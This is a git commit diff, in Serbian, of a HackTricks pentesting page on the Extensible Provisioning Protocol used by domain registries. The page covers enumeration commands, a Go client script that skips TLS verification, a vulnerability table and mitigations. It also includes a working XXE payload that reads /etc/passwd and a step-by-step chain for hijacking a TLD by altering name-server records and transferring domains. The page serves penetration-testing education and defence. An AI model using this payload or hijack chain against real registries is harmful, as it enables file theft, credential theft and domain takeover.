mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/network-services-pentesting/700-pentesting-epp.md'] to
This commit is contained in:
		
							parent
							
								
									dd0c0769a1
								
							
						
					
					
						commit
						b3281cb4be
					
				@ -4,7 +4,7 @@
 | 
			
		||||
 | 
			
		||||
## Osnovne informacije
 | 
			
		||||
 | 
			
		||||
Extensible Provisioning Protocol (EPP) je mrežni protokol koji se koristi za **upravljanje domenama i drugim internet resursima** od strane registara domena i registrara. Omogućava automatizaciju procesa registracije, obnavljanja, prenosa i brisanja domena, osiguravajući standardizovan i siguran komunikacioni okvir između različitih entiteta u sistemu domena (DNS). EPP je dizajniran da bude fleksibilan i proširiv, omogućavajući dodavanje novih funkcija i komandi kako se potrebe internet infrastrukture razvijaju.
 | 
			
		||||
Extensible Provisioning Protocol (EPP) je mrežni protokol koji se koristi za **upravljanje domenima i drugim internet resursima** od strane registara domena i registrara. Omogućava automatizaciju procesa registracije, obnavljanja, prenosa i brisanja domena, osiguravajući standardizovan i siguran komunikacioni okvir između različitih entiteta u sistemu domena (DNS). EPP je dizajniran da bude fleksibilan i proširiv, omogućavajući dodavanje novih funkcija i komandi kako se potrebe internet infrastrukture razvijaju.
 | 
			
		||||
 | 
			
		||||
U suštini, to je jedan od protokola koje **TLD registrar nudi registrarima domena** za registraciju novih domena u TLD.
 | 
			
		||||
 | 
			
		||||
@ -12,4 +12,104 @@ U suštini, to je jedan od protokola koje **TLD registrar nudi registrarima dome
 | 
			
		||||
 | 
			
		||||
[**U ovom veoma interesantnom članku**](https://hackcompute.com/hacking-epp-servers/) možete videti kako su neki istraživači bezbednosti otkrili da su nekoliko **implementacija ovog protokola** bile ranjive na XXE (XML External Entity) jer ovaj protokol koristi XML za komunikaciju, što bi omogućilo napadačima da preuzmu desetine različitih TLD-ova.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Enumeracija i Recon
 | 
			
		||||
 | 
			
		||||
EPP serveri gotovo uvek slušaju na TCP `700/tcp` preko TLS-a. Tipična implementacija takođe sprovodi **uzajamni TLS (mTLS)**, tako da klijent mora da predstavi važeći sertifikat koji je izdao CA registra. Ipak, mnoge privatne testne ili pre-produkcijske implementacije zaboravljaju tu kontrolu:
 | 
			
		||||
```bash
 | 
			
		||||
# Banner-grabbing / TLS inspection
 | 
			
		||||
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
 | 
			
		||||
 | 
			
		||||
# Check if mTLS is *really* required (it frequently is not!)
 | 
			
		||||
openssl s_client -connect <target>:700 -quiet \
 | 
			
		||||
-servername epp.test 2>/dev/null | head
 | 
			
		||||
```
 | 
			
		||||
Ako server ne prekine vezu nakon TLS rukovanja, možete pokušati da pošaljete neautentifikovanu `<hello/>` poruku:
 | 
			
		||||
```xml
 | 
			
		||||
<?xml version="1.0" encoding="UTF-8"?>
 | 
			
		||||
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
 | 
			
		||||
<hello/>
 | 
			
		||||
</epp>
 | 
			
		||||
```
 | 
			
		||||
### Open-source klijenti korisni za testiranje
 | 
			
		||||
 | 
			
		||||
* **epp-client (Go)** – aktivno održavan, podržava TCP/TLS i EPP-over-HTTPS (RFC 8730):
 | 
			
		||||
`go install github.com/domainr/epp/cmd/epp@latest`
 | 
			
		||||
* **gandi/go-epp** – minimalna biblioteka klijenta koja se lako može instrumentisati za fuzzing ili nuclei-stil radne tokove.
 | 
			
		||||
* **afq984/php-epp-client** – PHP implementacija koju koriste mnogi mali registrari; zgodan cilj za pregled koda.
 | 
			
		||||
 | 
			
		||||
Primer minimalnog skripta za prijavu+proveru sa Go epp-client:
 | 
			
		||||
```go
 | 
			
		||||
package main
 | 
			
		||||
import (
 | 
			
		||||
"github.com/domainr/epp"
 | 
			
		||||
"crypto/tls"
 | 
			
		||||
)
 | 
			
		||||
 | 
			
		||||
func main() {
 | 
			
		||||
cfg := &tls.Config{InsecureSkipVerify: true}
 | 
			
		||||
c, _ := epp.DialTLS("epp.test:700", cfg)
 | 
			
		||||
c.Login("CLIENT_ID", "PASSWORD", nil)
 | 
			
		||||
resp, _ := c.DomainCheck("example","com")
 | 
			
		||||
println(resp)
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Uobičajene slabosti i ranjivosti 2023-2025
 | 
			
		||||
 | 
			
		||||
| Godina | Komponenta | CWE | Uticaj |
 | 
			
		||||
|--------|------------|-----|--------|
 | 
			
		||||
| 2023   | CoCCA Registry < 3.5 | CWE-611 XXE | Udaljeno čitanje fajlova i SSRF putem kreiranog `<epp>` payload-a (zakrpa: 2023-11-02) |
 | 
			
		||||
| 2024   | FRED EPP Server 2.x | CWE-322 Nedovoljna validacija TLS sertifikata | Zaobilaženje mTLS omogućilo neovlašćen pristup registraru |
 | 
			
		||||
| 2025   | Proprietary registrar panel | CWE-306 Nedostajuća autentifikacija za kritičnu funkciju | Tačka odobrenja prenosa domena izložena preko EPP-HTTP mosta |
 | 
			
		||||
 | 
			
		||||
### XXE / SSRF payload (radi protiv mnogih Java/Spring implementacija)
 | 
			
		||||
```xml
 | 
			
		||||
<?xml version="1.0"?>
 | 
			
		||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
 | 
			
		||||
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
 | 
			
		||||
<command>
 | 
			
		||||
<check>
 | 
			
		||||
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
 | 
			
		||||
<domain:name>&xxe;</domain:name>
 | 
			
		||||
</domain:check>
 | 
			
		||||
</check>
 | 
			
		||||
</command>
 | 
			
		||||
</epp>
 | 
			
		||||
```
 | 
			
		||||
Kada je parser pogrešno konfiguran (`XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true`), sadržaj datoteke se vraća unutar `<resData>` strukture.
 | 
			
		||||
 | 
			
		||||
### Ostala tipična otkrića
 | 
			
		||||
 | 
			
		||||
1. **Slaba politika kredencijala** – EPP prijavne fraze kraće od 8 karaktera; brute-force je često izvodljiv jer specifikacija samo PREPORUČUJE (ne zahteva) ograničavanje brzine.
 | 
			
		||||
2. **Nedostajući `registryLock` / `serverUpdateProhibited` status** – nakon autentifikacije, napadači mogu odmah ažurirati NS zapise i ukrasti saobraćaj.
 | 
			
		||||
3. **Nepotpisane poruke za anketu** – neke implementacije još uvek ne potpisuju poruke Q&A anketa, omogućavajući spoofing/phishing operatera registra.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Put napada: Od nule do otmice TLD-a
 | 
			
		||||
 | 
			
		||||
1. Otkrijte EPP krajnju tačku (često skrivena iza generičkog hosta kao što je `ot&e.<tld>.nic.<cc>`).
 | 
			
		||||
2. Iskoristite jednu od gornjih slabosti da dobijete kredencijale na nivou registra (XXE → SSRF do IMDSv1, eksfiltracija kredencijala, ili TLS-bypass).
 | 
			
		||||
3. Izdajte `<update>` zahteve da promenite `hostObj` zapise domena na servere imenom napadača.
 | 
			
		||||
4. (Opcionalno) Podnesite `<transfer>` da prebacite domen na registrar pod kontrolom napadača – mnogi registri se još uvek oslanjaju na **jedan auth-code**.
 | 
			
		||||
5. Profit: potpuna kontrola DNS zone, mogućnost zahteva TLS sertifikata putem ACME.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Odbrambene mere i učvršćivanje
 | 
			
		||||
 | 
			
		||||
* Sprovodite **mTLS sa klijent sertifikatima po registru** i pinujte CA registra.
 | 
			
		||||
* Postavite `parserFeature secure-processing=true` ili ekvivalentno da ubijete XXE.
 | 
			
		||||
* Izvršite **kontinuirano fuzzing** XML parsera (npr. sa `go-fuzz` ili `jazzer` za Java).
 | 
			
		||||
* Implementirajte **Registry Lock / server*Prohibited** statuse za domene visoke vrednosti.
 | 
			
		||||
* Pratite `poll` red za sumnjive `<transfer>` ili `<update>` komande i obaveštavajte u realnom vremenu.
 | 
			
		||||
* ICANN 2024 izmene ugovora o DNS-zloupotrebi zahtevaju od registara da dokažu kontrole brzine i autentifikacije – iskoristite ih.
 | 
			
		||||
 | 
			
		||||
## Reference
 | 
			
		||||
 | 
			
		||||
* ICANN Savetodavni komitet za bezbednost i stabilnost (SSAC). "SAC118: Posledice neuspeha operatera registra da implementira EPP bezbednosne kontrole". 2024.
 | 
			
		||||
* HackCompute – "Hacking EPP servera: zloupotreba XXE za otmicu TLD-ova" (2023).
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user